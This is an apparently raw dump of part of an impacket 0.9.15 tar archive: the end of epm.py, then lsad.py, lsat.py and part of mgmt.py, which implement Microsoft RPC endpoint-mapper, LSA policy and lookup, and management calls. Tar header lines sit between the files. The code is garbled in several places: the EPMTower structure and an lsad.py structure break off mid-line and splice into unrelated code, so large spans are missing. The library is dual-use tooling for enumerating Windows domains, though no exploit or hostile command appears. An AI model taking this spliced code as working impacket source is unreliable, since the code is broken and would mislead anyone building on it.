'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol',
'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol',
'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions',
}
# Inquire Type
RPC_C_EP_ALL_ELTS = 0x0
RPC_C_EP_MATCH_BY_IF = 0x1
RPC_C_EP_MATH_BY_OBJ = 0x2
RPC_C_EP_MATH_BY_BOTH = 0x1
# Vers Option
RPC_C_VERS_ALL = 0x1
RPC_C_VERS_COMPATIBLE = 0x2
RPC_C_VERS_EXACT = 0x3
RPC_C_VERS_MARJOR_ONLY= 0x4
RPC_C_VERS_UPTO = 0x5
# Search
RPC_NO_MORE_ELEMENTS = 0x16c9a0d6
# Floors constants
FLOOR_UUID_IDENTIFIER = 0x0d
# Protocol Identifiers
FLOOR_RPCV5_IDENTIFIER = 0x0b # DCERPC Connection Oriented v.5
FLOOR_MSNP_IDENTIFIER = 0x0c # MS Named Pipes (LRPC)
# Pipe Identifier
FLOOR_NBNP_IDENTIFIER = 0x0f # NetBIOS Named Pipe
# HostName Identifier
FLOOR_MSNB_IDENTIFIER = 0x11 # MS NetBIOS HostName
# PortAddr Identifier
FLOOR_TCPPORT_IDENTIFIER = 0x07
################################################################################
# STRUCTURES
################################################################################
# Tower Floors: As states in C706:
# This appendix defines the rules for encoding an protocol_tower_t (abstract)
# into the twr_t.tower_octet_string and twr_p_t->tower_octet_string fields
# (concrete). For historical reasons, this cannot be done using the standard NDR
# encoding rules for marshalling and unmarshalling. A special encoding is
# required.
# Note that the twr_t and twr_p_t are mashalled as standard IDL data types,
# encoded in the standard transfer syntax (for example, NDR). As far as IDL and
# NDR are concerned, tower_octet_string is simply an opaque conformant byte
# array. This section only defines how to construct this opaque open array of
# octets, which contains the actual protocol tower information.
# The tower_octet_string[ ] is a variable length array of octets that encodes
# a single, complete protocol tower. It is encoded as follows:
# * Addresses increase, reading from left to right.
# * Each tower_octet_string begins with a 2-byte floor count, encoded
# little-endian, followed by the tower floors as follows:
# +-------------+---------+---------+---------+---------+---------+
# | floorcount | floor1 | floor2 | floor3 | ... | floorn |
# +-------------+---------+---------+---------+---------+---------+
# The number of tower floors is specific to the particular protocol tower,
# also known as a protseq.
# * Eachtowerfloorcontainsthefollowing:
# |<- tower floor left hand side ->|<- tower floor right hand side ->|
# +------------+-----------------------+------------+----------------------+
# | LHS byte | protocol identifier | RHS byte | related or address |
# | count | data | count | data |
# +------------+-----------------------+------------+----------------------+
# The LHS (Left Hand Side) of the floor contains protocol identifier information.
# Protocol identifier values and construction rules are defined in Appendix I.
# The RHS (Right Hand Side) of the floor contains related or addressing
# information. The type and encoding for the currently defined protocol
# identifiers are given in Appendix I.
# The floor count, LHS byte count and RHS byte count are all 2-bytes,
# in little endian format.
#
# So.. we're gonna use Structure to solve this
# Standard Floor Assignments
class EPMFloor(Structure):
structure = (
('LHSByteCount','H=0'),
)
EPMFloors = [
EPMRPCInterface,
EPMRPCDataRepresentation,
EPMFloor,
EPMFloor,
EPMFloor,
EPMFloor
]
class EPMTower(Structure):
structure = (
('NumberOfFloors',' '':
return tmp_address % tmp_address2
else:
return 'IP: %s' % tmp_address2
elif floor['ProtocolData'] == chr(0x0c):
tmp_address = 'ncacn_spx:~%%s[%d]' % unpack('!H',floor['RelatedData'])
elif floor['ProtocolData'] == chr(0x0d):
n = len(floor['RelatedData'])
tmp_address2 = ('%02X' * n) % unpack("%dB" % n, floor['RelatedData'])
if tmp_address <> '':
return tmp_address % tmp_address2
else:
return 'SPX: %s' % tmp_address2
elif floor['ProtocolData'] == chr(0x0e):
tmp_address = 'ncadg_ipx:~%%s[%d]' % unpack('!H',floor['RelatedData'])
elif floor['ProtocolData'] == chr(0x0f):
tmp_address = 'ncacn_np:%%s[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1]
elif floor['ProtocolData'] == chr(0x10):
return 'ncalrpc:[%s]' % floor['RelatedData'][:len(floor['RelatedData'])-1]
elif floor['ProtocolData'] == chr(0x01) or floor['ProtocolData'] == chr(0x11):
if tmp_address <> '':
return tmp_address % floor['RelatedData'][:len(floor['RelatedData'])-1]
else:
return 'NetBIOS: %s' % floor['RelatedData']
elif floor['ProtocolData'] == chr(0x1f):
tmp_address = 'ncacn_http:%%s[%d]' % unpack('!H',floor['RelatedData'])
else:
return 'unknown_proto_0x%x:[0]' % ord(floor['ProtocolData'] )
impacket-0.9.15/impacket/dcerpc/v5/lsad.py 0000600 0000765 0000000 00000160407 12734531507 020345 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-LSAD] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRENUM, NDRUNION, NDRUniConformantVaryingArray, NDRPOINTER, NDR, NDRSTRUCT, \
NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, STR, LUID, LONG, ULONG, RPC_UNICODE_STRING, PRPC_SID, LPBYTE, \
LARGE_INTEGER, NTSTATUS, RPC_SID, ACCESS_MASK, UCHAR, PRPC_UNICODE_STRING, PLARGE_INTEGER, USHORT, \
SECURITY_INFORMATION, NULL, MAXIMUM_ALLOWED, GUID, SECURITY_DESCRIPTOR, OWNER_SECURITY_INFORMATION
from impacket import nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_LSAD = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'LSAD SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'LSAD SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.1.1.2 ACCESS_MASK for Policy Objects
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002
POLICY_GET_PRIVATE_INFORMATION = 0x00000004
POLICY_TRUST_ADMIN = 0x00000008
POLICY_CREATE_ACCOUNT = 0x00000010
POLICY_CREATE_SECRET = 0x00000020
POLICY_CREATE_PRIVILEGE = 0x00000040
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100
POLICY_AUDIT_LOG_ADMIN = 0x00000200
POLICY_SERVER_ADMIN = 0x00000400
POLICY_LOOKUP_NAMES = 0x00000800
POLICY_NOTIFICATION = 0x00001000
# 2.2.1.1.3 ACCESS_MASK for Account Objects
ACCOUNT_VIEW = 0x00000001
ACCOUNT_ADJUST_PRIVILEGES = 0x00000002
ACCOUNT_ADJUST_QUOTAS = 0x00000004
ACCOUNT_ADJUST_SYSTEM_ACCESS = 0x00000008
# 2.2.1.1.4 ACCESS_MASK for Secret Objects
SECRET_SET_VALUE = 0x00000001
SECRET_QUERY_VALUE = 0x00000002
# 2.2.1.1.5 ACCESS_MASK for Trusted Domain Objects
TRUSTED_QUERY_DOMAIN_NAME = 0x00000001
TRUSTED_QUERY_CONTROLLERS = 0x00000002
TRUSTED_SET_CONTROLLERS = 0x00000004
TRUSTED_QUERY_POSIX = 0x00000008
TRUSTED_SET_POSIX = 0x00000010
TRUSTED_SET_AUTH = 0x00000020
TRUSTED_QUERY_AUTH = 0x00000040
# 2.2.1.2 POLICY_SYSTEM_ACCESS_MODE
POLICY_MODE_INTERACTIVE = 0x00000001
POLICY_MODE_NETWORK = 0x00000002
POLICY_MODE_BATCH = 0x00000004
POLICY_MODE_SERVICE = 0x00000010
POLICY_MODE_DENY_INTERACTIVE = 0x00000040
POLICY_MODE_DENY_NETWORK = 0x00000080
POLICY_MODE_DENY_BATCH = 0x00000100
POLICY_MODE_DENY_SERVICE = 0x00000200
POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400
POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800
POLICY_MODE_ALL = 0x00000FF7
POLICY_MODE_ALL_NT4 = 0x00000037
# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO
# EventAuditingOptions
POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000
POLICY_AUDIT_EVENT_NONE = 0x00000004
POLICY_AUDIT_EVENT_SUCCESS = 0x00000001
POLICY_AUDIT_EVENT_FAILURE = 0x00000002
# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO
# AuthenticationOptions
POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080
# 2.2.7.21 LSA_FOREST_TRUST_RECORD
# Flags
LSA_TLN_DISABLED_NEW = 0x00000001
LSA_TLN_DISABLED_ADMIN = 0x00000002
LSA_TLN_DISABLED_CONFLICT = 0x00000004
LSA_SID_DISABLED_ADMIN = 0x00000001
LSA_SID_DISABLED_CONFLICT = 0x00000002
LSA_NB_DISABLED_ADMIN = 0x00000004
LSA_NB_DISABLED_CONFLICT = 0x00000008
LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1 LSAPR_HANDLE
class LSAPR_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data','20s=""'),
)
# 2.2.2.3 LSA_UNICODE_STRING
LSA_UNICODE_STRING = RPC_UNICODE_STRING
# 2.2.3.1 STRING
class STRING(NDRSTRUCT):
commonHdr = (
('MaximumLength','.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
NULL
from impacket import nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \
PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \
SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \
PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.10 ACCESS_MASK
POLICY_LOOKUP_NAMES = 0x00000800
################################################################################
# STRUCTURES
################################################################################
# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST
class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),
('MaxEntries', ULONG),
)
class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):
referent = (
('Data', LSAPR_REFERENCED_DOMAIN_LIST),
)
# 2.2.14 LSA_TRANSLATED_SID
class LSA_TRANSLATED_SID(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
)
# 2.2.15 LSAPR_TRANSLATED_SIDS
class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):
item = LSA_TRANSLATED_SID
class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):
referent = (
('Data', LSA_TRANSLATED_SID_ARRAY),
)
class LSAPR_TRANSLATED_SIDS(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSA_TRANSLATED_SID_ARRAY),
)
# 2.2.16 LSAP_LOOKUP_LEVEL
class LSAP_LOOKUP_LEVEL(NDRENUM):
class enumItems(Enum):
LsapLookupWksta = 1
LsapLookupPDC = 2
LsapLookupTDL = 3
LsapLookupGC = 4
LsapLookupXForestReferral = 5
LsapLookupXForestResolve = 6
LsapLookupRODCReferralToFullDC = 7
# 2.2.17 LSAPR_SID_INFORMATION
class LSAPR_SID_INFORMATION(NDRSTRUCT):
structure = (
('Sid', PRPC_SID),
)
# 2.2.18 LSAPR_SID_ENUM_BUFFER
class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
item = LSAPR_SID_INFORMATION
class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_SID_INFORMATION_ARRAY),
)
class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):
structure = (
('Entries', ULONG),
('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),
)
# 2.2.19 LSAPR_TRANSLATED_NAME
class LSAPR_TRANSLATED_NAME(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
)
# 2.2.20 LSAPR_TRANSLATED_NAMES
class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME
class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_ARRAY),
)
class LSAPR_TRANSLATED_NAMES(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_ARRAY),
)
# 2.2.21 LSAPR_TRANSLATED_NAME_EX
class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Name', RPC_UNICODE_STRING),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.22 LSAPR_TRANSLATED_NAMES_EX
class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_NAME_EX
class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),
)
class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),
)
# 2.2.23 LSAPR_TRANSLATED_SID_EX
class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('RelativeId', ULONG),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.24 LSAPR_TRANSLATED_SIDS_EX
class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX
class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),
)
# 2.2.25 LSAPR_TRANSLATED_SID_EX2
class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):
structure = (
('Use', SID_NAME_USE),
('Sid', PRPC_SID),
('DomainIndex', LONG),
('Flags', ULONG),
)
# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2
class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):
item = LSAPR_TRANSLATED_SID_EX2
class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):
referent = (
('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):
structure = (
('Entries', ULONG),
('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),
)
class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
item = RPC_UNICODE_STRING
################################################################################
# RPC CALLS
################################################################################
# 3.1.4.4 LsarGetUserName (Opnum 45)
class LsarGetUserName(NDRCALL):
opnum = 45
structure = (
('SystemName', LPWSTR),
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
)
class LsarGetUserNameResponse(NDRCALL):
structure = (
('UserName', PRPC_UNICODE_STRING),
('DomainName', PRPC_UNICODE_STRING),
('ErrorCode', NTSTATUS),
)
# 3.1.4.5 LsarLookupNames4 (Opnum 77)
class LsarLookupNames4(NDRCALL):
opnum = 77
structure = (
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames4Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.6 LsarLookupNames3 (Opnum 68)
class LsarLookupNames3(NDRCALL):
opnum = 68
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.7 LsarLookupNames2 (Opnum 58)
class LsarLookupNames2(NDRCALL):
opnum = 58
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupNames2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.8 LsarLookupNames (Opnum 14)
class LsarLookupNames(NDRCALL):
opnum = 14
structure = (
('PolicyHandle', LSAPR_HANDLE),
('Count', ULONG),
('Names', RPC_UNICODE_STRING_ARRAY),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupNamesResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedSids', LSAPR_TRANSLATED_SIDS),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.9 LsarLookupSids3 (Opnum 76)
class LsarLookupSids3(NDRCALL):
opnum = 76
structure = (
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids3Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.10 LsarLookupSids2 (Opnum 57)
class LsarLookupSids2(NDRCALL):
opnum = 57
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
('LookupOptions', ULONG),
('ClientRevision', ULONG),
)
class LsarLookupSids2Response(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
# 3.1.4.11 LsarLookupSids (Opnum 15)
class LsarLookupSids(NDRCALL):
opnum = 15
structure = (
('PolicyHandle', LSAPR_HANDLE),
('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('LookupLevel', LSAP_LOOKUP_LEVEL),
('MappedCount', ULONG),
)
class LsarLookupSidsResponse(NDRCALL):
structure = (
('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
('TranslatedNames', LSAPR_TRANSLATED_NAMES),
('MappedCount', ULONG),
('ErrorCode', NTSTATUS),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
14 : (LsarLookupNames, LsarLookupNamesResponse),
15 : (LsarLookupSids, LsarLookupSidsResponse),
45 : (LsarGetUserName, LsarGetUserNameResponse),
57 : (LsarLookupSids2, LsarLookupSids2Response),
58 : (LsarLookupNames2, LsarLookupNames2Response),
68 : (LsarLookupNames3, LsarLookupNames3Response),
76 : (LsarLookupSids3, LsarLookupSids3Response),
77 : (LsarLookupNames4, LsarLookupNames4Response),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hLsarGetUserName(dce, userName = NULL, domainName = NULL):
request = LsarGetUserName()
request['SystemName'] = NULL
request['UserName'] = userName
request['DomainName'] = domainName
return dce.request(request)
def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames4()
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames3()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupNames2()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = len(names)
for name in names:
itemn = RPC_UNICODE_STRING()
itemn['Data'] = name
request['Names'].append(itemn)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)
def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
request = LsarLookupSids2()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
request['LookupOptions'] = lookupOptions
request['ClientRevision'] = clientRevision
return dce.request(request)
def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
request = LsarLookupSids()
request['PolicyHandle'] = policyHandle
request['SidEnumBuffer']['Entries'] = len(sids)
for sid in sids:
itemn = LSAPR_SID_INFORMATION()
itemn['Sid'].fromCanonical(sid)
request['SidEnumBuffer']['SidInfo'].append(itemn)
request['TranslatedNames']['Names'] = NULL
request['LookupLevel'] = lookupLevel
return dce.request(request)
impacket-0.9.15/impacket/dcerpc/v5/mgmt.py 0000600 0000765 0000000 00000012124 12734531507 020356 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [C706] Remote Management Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h".
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray
from impacket.dcerpc.v5.epm import PRPC_IF_ID
from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from impacket import nt_errors
MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if nt_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
class rpc_if_id_p_t_array(NDRUniConformantArray):
item = PRPC_IF_ID
class rpc_if_id_vector_t(NDRSTRUCT):
structure = (
('count',ULONG),
('if_id',rpc_if_id_p_t_array),
)
structure64 = (
('count',ULONGLONG),
('if_id',rpc_if_id_p_t_array),
)
class rpc_if_id_vector_p_t(NDRPOINTER):
referent = (
('Data', rpc_if_id_vector_t),
)
error_status = ULONG
################################################################################
# STRUCTURES
################################################################################
################################################################################
# RPC CALLS
################################################################################
class inq_if_ids(NDRCALL):
opnum = 0
structure = (
)
class inq_if_idsResponse(NDRCALL):
structure = (
('if_id_vector', rpc_if_id_vector_p_t),
('status', error_status),
)
class inq_stats(NDRCALL):
opnum = 1
structure = (
('count', ULONG),
)
class inq_statsResponse(NDRCALL):
structure = (
('count', ULONG),
('statistics', DWORD_ARRAY),
('status', error_status),
)
class is_server_listening(NDRCALL):
opnum = 2
structure = (
)
class is_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class stop_server_listening(NDRCALL):
opnum = 3
structure = (
)
class stop_server_listeningResponse(NDRCALL):
structure = (
('status', error_status),
)
class inq_princ_name(NDRCALL):
opnum = 4
structure = (
('authn_proto', ULONG),
('princ_name_size', ULONG),
)
class inq_princ_nameResponse(NDRCALL):
structure = (
('princ_name', NDRUniConformantVaryingArray),
('status', error_status),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (inq_if_ids, inq_if_idsResponse),
1 : (inq_stats, inq_statsResponse),
2 : (is_server_listening, is_server_listeningResponse),
3 : (stop_server_listening, stop_server_listeningResponse),
4 : (inq_princ_name, inq_princ_nameResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hinq_if_ids(dce):
request = inq_if_ids()
return dce.request(request)
def hinq_stats(dce, count = 4):
request = inq_stats()
request['count'] = count
return dce.request(request)
def his_server_listening(dce):
request = is_server_listening()
return dce.request(request, checkError=False)
def hstop_server_listening(dce):
request = stop_server_listening()
return dce.request(request)
def hinq_princ_name(dce, authn_proto=0, princ_name_size=1):
request = inq_princ_name()
